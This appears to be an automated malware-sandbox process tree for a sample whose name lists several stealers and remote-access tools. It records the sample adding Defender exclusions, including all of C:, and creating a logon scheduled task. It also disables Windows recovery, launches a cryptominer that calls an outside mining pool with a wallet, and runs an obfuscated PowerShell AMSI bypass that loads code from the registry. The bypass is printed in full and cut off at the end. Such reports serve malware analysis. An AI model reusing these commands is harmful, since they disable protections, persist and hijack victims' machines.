"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-f364c1b4-a346-4650-a613-ed6412359ce4 -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-78ffb9f1-3751-475f-992e-2f61b9c6f4ea -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-1344345e-afb2-41b4-8873-1c1f7a52e270 -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-f983603d-6267-4619-ad42-06fd94c95b01 -LifetimeId:2f1b252e-29bd-4ab5-b7f3-8a972a1fc0dd -DeviceGroupId:WudfDefaultDevicePool -HostArg:0
1⤵
PID:480

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:1032

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
- Drops file in System32 directory
PID:1128

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1272

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1352

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:1368

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1376

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1568

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
1⤵
PID:1596

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1688

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UserProfileService -p -s ProfSvc
1⤵
PID:1768

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
1⤵
PID:1776

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1792

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1972

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1396
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:5884
- - C:\Windows\explorer.exe
    explorer.exe /LOADSAVEDWINDOWS
    3⤵
    - Suspicious behavior: GetForegroundWindowSpam
    PID:5932
  - - C:\Users\Admin\AppData\Local\Temp\2026-11-13_8f160c2faa0e683c03f8e603e10c0c26_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-11-13_8f160c2faa0e683c03f8e603e10c0c26_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe"
      4⤵
      Looks for VirtualBox Guest Additions in registry
      Looks for VMWare Tools registry key
      Adds Run key to start application
      Drops file in System32 directory
      Suspicious use of SetThreadContext
      Drops file in Windows directory
      Reads the TCP/IP host and domain name from the registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:5008
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionProcess 'powershell.exe'"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4080
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionProcess 'cmd.exe'; Add-MpPreference -ExclusionPath 'C:\'"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5012
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionProcess 'WinTemp-v4.exe'; Add-MpPreference -ExclusionProcess 'Win-v42.exe'; Add-MpPreference -ExclusionProcess 'Win-v43.exe'"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2868
    - - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /Create /TN "v4" /TR "C:\Windows\System32\Win-v42.exe" /SC ONLOGON /RL HIGHEST /F
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2820
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /C reagentc /disable
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:5416
      - C:\Windows\system32\ReAgentc.exe
        
        reagentc /disable
        6⤵
        Drops file in System32 directory
        Drops file in Windows directory
        
        PID:5076
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /C takeown /F "%SystemRoot%\System32\reagentc.exe"
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:4532
      - C:\Windows\system32\takeown.exe
        
        takeown /F "C:\Windows\System32\reagentc.exe"
        6⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:2536
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /C icacls "%SystemRoot%\System32\reagentc.exe" /grant Administrators:F
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:5720
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\reagentc.exe" /grant Administrators:F
        6⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:5796
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /C icacls "%SystemRoot%\System32\reagentc.exe" /deny Everyone:RX
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:1060
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\reagentc.exe" /deny Everyone:RX
        6⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:4120
    - - C:\Windows\SYSTEM32\powercfg.exe
        
        powercfg /change monitor-timeout-ac 0
        5⤵
        Power Settings
        
        PID:596
    - - C:\Windows\SYSTEM32\powercfg.exe
        
        powercfg /change monitor-timeout-dc 0
        5⤵
        Power Settings
        
        PID:4400
    - - C:\Windows\SYSTEM32\powercfg.exe
        
        powercfg /change standby-timeout-ac 0
        5⤵
        Power Settings
        
        PID:1252
    - - C:\Windows\SYSTEM32\powercfg.exe
        
        powercfg /change standby-timeout-dc 0
        5⤵
        Power Settings
        
        PID:4996
    - - C:\Windows\SYSTEM32\powercfg.exe
        
        powercfg /change hibernate-timeout-ac 0
        5⤵
        Power Settings
        
        PID:5088
    - - C:\Windows\SYSTEM32\powercfg.exe
        
        powercfg /change hibernate-timeout-dc 0
        5⤵
        Power Settings
        
        PID:5520
    - - C:\Windows\SYSTEM32\powercfg.exe
        
        powercfg /hibernate off
        5⤵
        Power Settings
        
        PID:3920
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping -n 1 -w 1000 8.8.8.8 > nul
        5⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1828
      - C:\Windows\system32\PING.EXE
        
        ping -n 1 -w 1000 8.8.8.8
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1524
    - - C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe --algo rx/0 --url 107.149.8.96:3333 --user 42rWxJoTVZnFvAxShvkZKLSR5dus86qUv89zRJXSvcWjTkwkVipmdvZY7CNNJGx2j62sTgnJxUgK27BQ8pSAQjYY6avcwcN/x -p x -k --cpu-max-threads-hint=90
        5⤵
        Badlisted process makes network request
        Executes dropped EXE
        Reads the TCP/IP host and domain name from the registry
        Suspicious use of FindShellTrayWindow
        
        PID:4460
    - - C:\Windows\SysWOW64\svchost.exe
        
        C:\Windows\SysWOW64\svchost.exe
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:2064

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1784

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1932

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:2180

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:2188

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:2268

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2408

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:2416

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TextInputManagementService
1⤵
PID:2500
- C:\Windows\system32\ctfmon.exe
  /QuitInfo:0000000000000268;000000000000026C;
  2⤵
  PID:4512

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2568

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s DusmSvc
1⤵
PID:2592

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2756

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:2856

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Wcmsvc
1⤵
PID:2992

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:3012

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s webthreatdefusersvc
1⤵
PID:716

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2124

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:3164

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:3304

C:\Windows\System32\ShellHost.exe
"C:\Windows\System32\ShellHost.exe"
1⤵
PID:3488

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:3628

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:3660

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:3672

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:3692

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:3720

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:3736

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3388

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:1100

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4380

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4440

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
1⤵
PID:4472

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
1⤵
PID:4660

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4724

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
1⤵
PID:5168

C:\Windows\System32\smartscreen.exe
C:\Windows\System32\smartscreen.exe -Embedding
1⤵
PID:5268

C:\Windows\System32\SecurityHealthSystray.exe
"C:\Windows\System32\SecurityHealthSystray.exe"
1⤵
PID:5308

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k WebThreatDefense -p -s webthreatdefsvc
1⤵
PID:5532

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s DeviceInstall
1⤵
PID:3456

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:1840

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:2900

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:5136

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Modifies data under HKEY_USERS
PID:3940

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:1864

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC
1⤵
PID:5816

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:3088

C:\Windows\System32\Win-v42.exe
C:\Windows\System32\Win-v42.exe
1⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:2988

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
PID:2492

C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\Win-v43.exe
C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\Win-v43.exe
1⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:808

C:\Windows\system32\cmd.exe
cmd.exe /c "powershell.exe -Command ""function Local:HLCDYmyTRrXV{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$jcKIsHuVVNZNTb,[Parameter(Position=1)][Type]$lxOdmURzpx)$mFRQDkDSTRg=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+'e'+''+'f'+''+[Char](108)+''+[Char](101)+''+[Char](99)+''+'t'+'e'+[Char](100)+'D'+'e'+'l'+[Char](101)+''+'g'+''+'a'+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'n'+'M'+''+[Char](101)+''+[Char](109)+''+[Char](111)+''+[Char](114)+''+'y'+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+'l'+[Char](101)+'',$False).DefineType(''+'M'+'y'+'D'+''+[Char](101)+''+'l'+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+'e'+''+'T'+'y'+[Char](112)+''+[Char](101)+'',''+[Char](67)+'l'+[Char](97)+'s'+[Char](115)+''+[Char](44)+'P'+[Char](117)+'bl'+[Char](105)+''+'c'+''+[Char](44)+'S'+[Char](101)+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+[Char](100)+''+[Char](44)+''+[Char](65)+''+[Char](110)+''+[Char](115)+''+[Char](105)+''+[Char](67)+'l'+[Char](97)+'s'+[Char](115)+''+[Char](44)+''+[Char](65)+''+[Char](117)+''+[Char](116)+''+'o'+'C'+[Char](108)+''+[Char](97)+''+'s'+''+'s'+'',[MulticastDelegate]);$mFRQDkDSTRg.DefineConstructor(''+[Char](82)+''+[Char](84)+''+'S'+''+[Char](112)+''+[Char](101)+''+'c'+'i'+[Char](97)+''+[Char](108)+'N'+[Char](97)+''+[Char](109)+'e'+[Char](44)+''+[Char](72)+'id'+[Char](101)+''+'B'+''+'y'+''+[Char](83)+''+[Char](105)+''+'g'+''+[Char](44)+''+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$jcKIsHuVVNZNTb).SetImplementationFlags(''+[Char](82)+'un'+[Char](116)+''+[Char](105)+'m'+[Char](101)+''+','+'Ma'+'n'+''+[Char](97)+'g'+[Char](101)+''+[Char](100)+'');$mFRQDkDSTRg.DefineMethod(''+'I'+''+[Char](110)+'v'+'o'+'k'+'e'+'','Pu'+'b'+''+'l'+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](72)+''+'i'+'d'+[Char](101)+'B'+[Char](121)+'S'+[Char](105)+''+[Char](103)+''+','+''+[Char](78)+''+'e'+''+[Char](119)+''+[Char](83)+'lo'+[Char](116)+''+[Char](44)+''+[Char](86)+''+'i'+''+'r'+'t'+[Char](117)+'a'+[Char](108)+'',$lxOdmURzpx,$jcKIsHuVVNZNTb).SetImplementationFlags(''+[Char](82)+'u'+'n'+'ti'+[Char](109)+'e'+','+''+[Char](77)+''+[Char](97)+''+'n'+''+'a'+'g'+'e'+'d');Write-Output $mFRQDkDSTRg.CreateType();}$KcafyQggOzKok=([AppDomain]::CurrentDomain.GetAssemblies()^|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('Sy'+[Char](115)+''+'t'+''+'e'+''+'m'+''+[Char](46)+'d'+'l'+''+'l'+'')}).GetType(''+[Char](77)+'i'+[Char](99)+''+[Char](114)+''+[Char](111)+'s'+'o'+'f'+[Char](116)+''+[Char](46)+''+[Char](87)+'i'+[Char](110)+''+[Char](51)+''+'2'+'.'+[Char](85)+''+[Char](110)+'s'+[Char](97)+''+'f'+''+'e'+''+[Char](78)+''+'a'+''+[Char](116)+''+[Char](105)+''+[Char](118)+''+[Char](101)+''+[Char](77)+''+[Char](101)+''+'t'+''+[Char](104)+''+'o'+'ds');$rQdCgkouIJFJyY=$KcafyQggOzKok.GetMethod(''+[Char](71)+'et'+'P'+''+[Char](114)+''+[Char](111)+''+'c'+''+'A'+''+'d'+''+[Char](100)+''+[Char](114)+'e'+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags](''+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+'c'+','+''+[Char](83)+''+'t'+'a'+[Char](116)+''+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$rjLBQkERPGUrPDhSCkl=HLCDYmyTRrXV @([String])([IntPtr]);$cRuDlqMahyJkwswbIhEMfb=HLCDYmyTRrXV @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$hnDdJSXIZTg=$KcafyQggOzKok.GetMethod('G'+[Char](101)+'tM'+[Char](111)+''+[Char](100)+''+'u'+'l'+[Char](101)+'H'+'a'+''+[Char](110)+'d'+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+'e'+''+[Char](114)+''+[Char](110)+''+[Char](101)+'l'+[Char](51)+''+[Char](50)+''+[Char](46)+'d'+[Char](108)+'l')));$uILrSNMXApHctE=$rQdCgkouIJFJyY.Invoke($Null,@([Object]$hnDdJSXIZTg,[Object](''+[Char](76)+''+[Char](111)+''+'a'+''+[Char](100)+''+[Char](76)+''+[Char](105)+''+'b'+''+'r'+''+[Char](97)+''+'r'+''+[Char](121)+''+[Char](65)+'')));$DibMJruulcTBrYqbj=$rQdCgkouIJFJyY.Invoke($Null,@([Object]$hnDdJSXIZTg,[Object]('V'+'i'+''+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+[Char](108)+''+[Char](80)+''+'r'+''+'o'+'t'+[Char](101)+''+'c'+''+[Char](116)+'')));$FGoGhon=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($uILrSNMXApHctE,$rjLBQkERPGUrPDhSCkl).Invoke(''+'a'+'m'+[Char](115)+''+[Char](105)+''+'.'+'d'+'l'+''+[Char](108)+'');$bqNsxmwkkyzLNLGHM=$rQdCgkouIJFJyY.Invoke($Null,@([Object]$FGoGhon,[Object](''+'A'+''+[Char](109)+''+[Char](115)+''+[Char](105)+'Sc'+[Char](97)+''+[Char](110)+'Buf'+[Char](102)+''+[Char](101)+'r')));$QaOXJevWPm=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DibMJruulcTBrYqbj,$cRuDlqMahyJkwswbIhEMfb).Invoke($bqNsxmwkkyzLNLGHM,[uint32]8,4,[ref]$QaOXJevWPm);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](59+72),[Byte](245-52),[Byte](157-157),[Byte](147+37),[Byte](184-97),[Byte](192-192),[Byte](220-213),[Byte](231-103),[Byte](96+41),[Byte](70+149),[Byte](99+96),[Byte](21+110),[Byte](160+33),[Byte](155-155)),0,$bqNsxmwkkyzLNLGHM,33-19);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DibMJruulcTBrYqbj,$cRuDlqMahyJkwswbIhEMfb).Invoke($bqNsxmwkkyzLNLGHM,[uint32]8,0x20,[ref]$QaOXJevWPm);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+'F'+[Char](84)+''+[Char](87)+''+[Char](65)+'R'+[Char](69)+'').GetValue('$'+'S'+''+[Char](72)+''+[Char](115)+''+'t'+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"""
1⤵
- Executes a command shell one-liner
- System Time Discovery
- Suspicious use of WriteProcessMemory
PID:5916
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command ""function Local:HLCDYmyTRrXV{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$jcKIsHuVVNZNTb,[Parameter(Position=1)][Type]$lxOdmURzpx)$mFRQDkDSTRg=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+'e'+''+'f'+''+[Char](108)+''+[Char](101)+''+[Char](99)+''+'t'+'e'+[Char](100)+'D'+'e'+'l'+[Char](101)+''+'g'+''+'a'+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'n'+'M'+''+[Char](101)+''+[Char](109)+''+[Char](111)+''+[Char](114)+''+'y'+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+'l'+[Char](101)+'',$False).DefineType(''+'M'+'y'+'D'+''+[Char](101)+''+'l'+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+'e'+''+'T'+'y'+[Char](112)+''+[Char](101)+'',''+[Char](67)+'l'+[Char](97)+'s'+[Char](115)+''+[Char](44)+'P'+[Char](117)+'bl'+[Char](105)+''+'c'+''+[Char](44)+'S'+[Char](101)+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+[Char](100)+''+[Char](44)+''+[Char](65)+''+[Char](110)+''+[Char](115)+''+[Char](105)+''+[Char](67)+'l'+[Char](97)+'s'+[Char](115)+''+[Char](44)+''+[Char](65)+''+[Char](117)+''+[Char](116)+''+'o'+'C'+[Char](108)+''+[Char](97)+''+'s'+''+'s'+'',[MulticastDelegate]);$mFRQDkDSTRg.DefineConstructor(''+[Char](82)+''+[Char](84)+''+'S'+''+[Char](112)+''+[Char](101)+''+'c'+'i'+[Char](97)+''+[Char](108)+'N'+[Char](97)+''+[Char](109)+'e'+[Char](44)+''+[Char](72)+'id'+[Char](101)+''+'B'+''+'y'+''+[Char](83)+''+[Char](105)+''+'g'+''+[Char](44)+''+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$jcKIsHuVVNZNTb).SetImplementationFlags(''+[Char](82)+'un'+[Char](116)+''+[Char](105)+'m'+[Char](101)+''+','+'Ma'+'n'+''+[Char](97)+'g'+[Char](101)+''+[Char](100)+'');$mFRQDkDSTRg.DefineMethod(''+'I'+''+[Char](110)+'v'+'o'+'k'+'e'+'','Pu'+'b'+''+'l'+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](72)+''+'i'+'d'+[Char](101)+'B'+[Char](121)+'S'+[Char](105)+''+[Char](103)+''+','+''+[Char](78)+''+'e'+''+[Char](119)+''+[Char](83)+'lo'+[Char](116)+''+[Char](44)+''+[Char](86)+''+'i'+''+'r'+'t'+[Char](117)+'a'+[Char](108)+'',$lxOdmURzpx,$jcKIsHuVVNZNTb).SetImplementationFlags(''+[Char](82)+'u'+'n'+'ti'+[Char](109)+'e'+','+''+[Char](77)+''+[Char](97)+''+'n'+''+'a'+'g'+'e'+'d');Write-Output $mFRQDkDSTRg.CreateType();}$KcafyQggOzKok=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('Sy'+[Char](115)+''+'t'+''+'e'+''+'m'+''+[Char](46)+'d'+'l'+''+'l'+'')}).GetType(''+[Char](77)+'i'+[Char](99)+''+[Char](114)+''+[Char](111)+'s'+'o'+'f'+[Char](116)+''+[Char](46)+''+[Char](87)+'i'+[Char](110)+''+[Char](51)+''+'2'+'.'+[Char](85)+''+[Char](110)+'s'+[Char](97)+''+'f'+''+'e'+''+[Char](78)+''+'a'+''+[Char](116)+''+[Char](105)+''+[Char](118)+''+[Char](101)+''+[Char](77)+''+[Char](101)+''+'t'+''+[Char](104)+''+'o'+'ds');$rQdCgkouIJFJyY=$KcafyQggOzKok.GetMethod(''+[Char](71)+'et'+'P'+''+[Char](114)+''+[Char](111)+''+'c'+''+'A'+''+'d'+''+[Char](100)+''+[Char](114)+'e'+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags](''+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+'c'+','+''+[Char](83)+''+'t'+'a'+[Char](116)+''+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$rjLBQkERPGUrPDhSCkl=HLCDYmyTRrXV @([String])([IntPtr]);$cRuDlqMahyJkwswbIhEMfb=HLCDYmyTRrXV @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$hnDdJSXIZTg=$KcafyQggOzKok.GetMethod('G'+[Char](101)+'tM'+[Char](111)+''+[Char](100)+''+'u'+'l'+[Char](101)+'H'+'a'+''+[Char](110)+'d'+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+'e'+''+[Char](114)+''+[Char](110)+''+[Char](101)+'l'+[Char](51)+''+[Char](50)+''+[Char](46)+'d'+[Char](108)+'l')));$uILrSNMXApHctE=$rQdCgkouIJFJyY.Invoke($Null,@([Object]$hnDdJSXIZTg,[Object](''+[Char](76)+''+[Char](111)+''+'a'+''+[Char](100)+''+[Char](76)+''+[Char](105)+''+'b'+''+'r'+''+[Char](97)+''+'r'+''+[Char](121)+''+[Char](65)+'')));$DibMJruulcTBrYqbj=$rQdCgkouIJFJyY.Invoke($Null,@([Object]$hnDdJSXIZTg,[Object]('V'+'i'+''+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+[Char](108)+''+[Char](80)+''+'r'+''+'o'+'t'+[Char](101)+''+'c'+''+[Char](116)+'')));$FGoGhon=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($uILrSNMXApHctE,$rjLBQkERPGUrPDhSCkl).Invoke(''+'a'+'m'+[Char](115)+''+[Char](105)+''+'.'+'d'+'l'+''+[Char](108)+'');$bqNsxmwkkyzLNLGHM=$rQdCgkouIJFJyY.Invoke($Null,@([Object]$FGoGhon,[Object](''+'A'+''+[Char](109)+''+[Char](115)+''+[Char](105)+'Sc'+[Char](97)+''+[Char](110)+'Buf'+[Char](102)+''+[Char](101)+'r')));$QaOXJevWPm=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DibMJruulcTBrYqbj,$cRuDlqMahyJkwswbIhEMfb).Invoke($bqNsxmwkkyzLNLGHM,[uint32]8,4,[ref]$QaOXJevWPm);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](59+72),[Byte](245-52),[Byte](157-157),[Byte](147+37),[Byte](184-97),[Byte](192-192),[Byte](220-213),[Byte](231-103),[Byte](96+41),[Byte](70+149),[Byte](99+96),[Byte](21+110),[Byte](160+33),[Byte](155-155)),0,$bqNsxmwkkyzLNLGHM,33-19);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DibMJruulcTBrYqbj,$cRuDlqMahyJkwswbIhEMfb).Invoke($bqNsxmwkkyzLNLGHM,[uint32]8,0x20,[ref]$QaOXJevWPm);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.Op